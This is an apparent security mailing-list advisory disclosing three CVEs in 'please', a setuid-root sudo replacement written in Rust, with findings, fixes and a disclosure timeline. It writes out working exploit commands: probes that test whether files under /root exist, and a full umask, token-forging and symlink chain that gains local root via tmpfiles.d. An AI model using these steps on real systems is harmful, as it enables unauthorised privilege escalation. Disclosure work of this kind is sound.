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please: CVE-2021-31153,CVE-2021-31154,CVE-2021-31155: local root exploit and further security issues in sudo-like utility
From: Matthias Gerstner <mgerstner () suse de>
Date: Tue, 18 May 2021 12:15:53 +0200
Hello list, "please" [1] is a sudo replacement written in Rust. Its author requested a code review for inclusion of the setuid-root binary in openSUSE [2]. I reviewed the source of please version 0.3.3 and found multiple security issues including a local root exploit (item 1.d) for users that are allowed to run a command. You can find the detailed report below. # 1) Findings in `please` ## a) Arbitrary File Existence Test and Arbitrary File Open via `-c`, `--check` Arbitrary file existence test and arbitrary file open as root is possible via the `-c`, `--check` command line switch. This does not involve an information leak but triggers kernel logic not usually available to regular users e.g. when sockets or special devices are involved. It also allows the setuid-root program to run out-of-memory. Examples: ``` # runs OOM user$ please -c /dev/zero Killed # reads the full block device until OOM occurs user$ please -c /dev/sda Killed # this file exists (in my case) user$ please -c /root/.bash_history Error parsing /root/.bash_history:712 Error parsing /root/.bash_history:716 Error parsing /root/.bash_history:1380 Error parsing /root/.bash_history:1382 # this doesn't exist user$ please -c /root/.something ``` The file existence test allows for a minimal information leak in terms of the involved line numbers output in the error messages. ## b) Arbitrary File Existence Test via the `search_path()` function Arbitrary file existence test is possible via the `search_path()` function, called in please.rs:254. Examples: ``` # this file doesn't exist user$ please /root/.something [please]: command not found # this file exists (in my case) user$ please /root/.bash_history You may not execute "/root/.bash_history" on <host> as root ``` ## c) Arbitrary file existence test via the `-d` switch This one also allows differentiation between dirs and files. ``` # here /root/.gnupg exists and is a directory user$ please -d /root/.gnupg cat /etc/fstab [<fstab content>] # here /root/.bash_history exists but is not a directory user$ please -d /root/.bash_history cat /etc/fstab Cannot cd into /root/.bash_history: Not a directory (os error 20) # here /root/.something does not exist at all user$ please -d /root/.something cat /etc/fstab Cannot cd into /root/.something: No such file or directory (os error 2) ``` ## d) The Token Dir "/var/run/pleaser/token" is Created with Unsanitized umask The token dir "/var/run/pleaser/token", if not existing, is created via Rust's `create_dir_all` and the process's umask is not sanitized. This allows the unprivileged user to influence the resulting directory permissions: ``` # the directory must not yet exist. If it does, a reboot can help out. test -d /var/run/please && echo "token dir already exists, won't work!" # clear umask user$ umask 0 # run some arbitrary command, this needs to be allowed via /etc/please.ini # but whether the password is successfully entered or not is unimportant # at this point. user$ please cat /etc/fstab [please] password for user: ^C # now the directories should have been created world-writable user$ ls -lhd /var/run/please /var/run/please/token drwxrwxrwx 3 root root 60 31. Mär 13:48 /var/run/please/ drwxrwxrwx 2 root root 40 31. Mär 13:48 /var/run/please/token # now to grant us access to arbitrary configured commands w/o entering the # user password user$ touch /var/run/please/token/$USER:`tty | tr '/' '_'`:$$ # should now work w/o password user$ please cat /etc/fstab [<fstab content>] # since symlinks are also followed in the token directory we can now create # new world-writable files anywhere in the system after authentication # succeeds. Already existing files can be truncated to size 0 this way. user$ cd /var/run/please/token user$ rm -f $USER:* user$ ln -s /etc/tmpfiles.d/supersafe.conf $USER:`tty | tr '/' '_'`:$$ user$ please cat /etc/fstab [please] password for user: <actual password> # the file should now have been created world-writable user$ ls -l /etc/tmpfiles.d/supersafe.conf -rw-rw-rw- 1 root root 0 31. Mär 13:57 /etc/tmpfiles.d/supersafe.conf # write some interesting content in there user$ echo "d /root 0777 root root -" >/etc/tmpfiles.d/supersafe.conf # reboot the local system e.g. via power button or display manager, then... user$ ls -lhd /root drwxrwxrwx 10 root root 4.0K 31. Mär 13:46 /root/ ``` So this more or less allows anybody who is allowed to execute at least one command with password authentication to perform a full local root exploit. ## 2) Findings in `pleaseedit` ## a) Predictable Temporary File Names in /tmp and the Target Directory pleaseedit uses predictable paths in /tmp and in the target directory via the functions `tmp_edit_file_name()` and `source_tmp_file_name()` and possibly others. Without the Linux kernel's symlink protection this would allow arbitrary file overwrite and ownership change if a regular user is allowed to edit any file via pleaseedit. Here is an excerpt of system calls performed in /tmp when editing /etc/fstab successfully: ``` statx(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", AT_STATX_SYNC_AS_STAT, TA_ALL, 0x7fff21e4cd60) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", _WNLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0100600) = 4 chown("/tmp/pleaseedit.user._etc_fstab", 1000, 100) = 0 fchmodat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", 0600) = 0 execve("/usr/bin/cat", ["/usr/bin/cat", "/tmp/pleaseedit.user._etc_m"...], x55afc490f0 /* 74 vars */) = 0 openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", O_RDONLY) = 3 openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", O_RDONLY|O_CLOEXEC) = 3 unlink("/tmp/pleaseedit.user._etc_fstab") = 0 ``` So the `openat()` calls do not include the `O_NOFOLLOW` flag to explicitly protect against symlinks existing there. Furthermore these paths should really be unpredictable in an `mkstemp()` manner. The `chown()` call would allow for a full local root exploit if not for the symlink protection mechanism. A race condition needs to be won, however, because the code tries to remove an existing file in this location first. In the target directory `pleaseedit` also potentially follows symlinks: ``` openat(AT_FDCWD, "/etc/fstab.pleaseedit.copy.user", _WNLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0100600) = 4 ``` So if the target directory is under control of a non-root user then this could also allow privilege escalation, this time there isn't even symlink protection available, because the target directory will not be sticky/world-writable. It requires two user accounts to "work together", however, the user that is invoking `please` and the user that is owning the target directory. # Bugfixes I discussed and reviewed fixes for these issues (and for a couple of other recommendations I gave) with the upstream author and they are part of the v0.4.0 upstream release. # CVE assignments - CVE-2021-31153: cummulative for all file and directory existence tests corresponding to findings 1.a, 1.b and 1.c. - CVE-2021-31154: for the predictable temporary filenames in pleaseedit corresponding to finding 2.a. - CVE-2021-31155: for the missing sanitation of the umask corresponding to finding 1.d. # Conclusion Correctly implementing setuid-root binaries remains a challenge also in modern programming languages like Rust. While the general design of 'please' was rather clean it was not implemented setuid aware at all. # Timeline 2021-03-17: Review request was created 2021-04-01: I shared the security findings with the upstream author and offered coordinated disclosure. 2021-04-14: I reviewed the final batch of fixes and we agreed on them. 2021-05-17: The embargo time frame was unclear for a longer time since Debian Linux updates needed to be prepared, but the upstream author already published the fixes on Gitlab. I received the official okay for publishing the full report only now. [1]: https://gitlab.com/edneville/please.git [2]: https://bugzilla.suse.com/show_bug.cgi?id=1183669 -- Matthias Gerstner <matthias.gerstner () suse de> Dipl.-Wirtsch.-Inf. (FH), Security Engineer https://www.suse.com/security Phone: +49 911 740 53 290 GPG Key ID: 0x14C405C971923553 SUSE Software Solutions Germany GmbH HRB 36809, AG Nürnberg Geschäftsführer: Felix Imendörffer
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- please: CVE-2021-31153,CVE-2021-31154,CVE-2021-31155: local root exploit and further security issues in sudo-like utility Matthias Gerstner (May 18)